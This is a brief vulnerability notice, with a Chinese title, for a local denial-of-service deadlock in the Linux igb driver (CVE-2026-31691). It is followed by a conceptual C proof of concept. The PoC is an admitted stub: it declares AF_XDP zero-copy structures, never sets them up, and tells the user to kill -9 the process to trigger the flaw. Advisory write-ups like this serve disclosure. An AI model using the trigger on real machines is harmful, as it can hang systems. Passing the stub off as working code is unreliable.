Linux内核igb驱动本地拒绝服务漏洞（CVE-2026-31691）

/* * PoC Concept for CVE-2026-31691 * This code demonstrates the condition required to trigger the deadlock. * It sets up an AF_XDP socket in zero-copy mode. * To trigger the vulnerability, terminate this process abruptly (e.g., kill -9). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <bpf/xsk.h> int main() { struct xsk_socket *xsk; struct xsk_umem *umem; struct xsk_ring_config rx_config = {0}; struct xsk_ring_config tx_config = {0}; // Configuration for zero-copy setup would go here // (Simplified for conceptual representation) printf("Starting AF_XDP zero-copy application...\n"); printf("Terminate this process with 'kill -9' to trigger the vulnerability.\n"); // In a real exploit, this would set up the UMEM and bind to the interface // then enter a loop processing packets. while(1) { // Simulating active polling/processing sleep(1); } return 0; }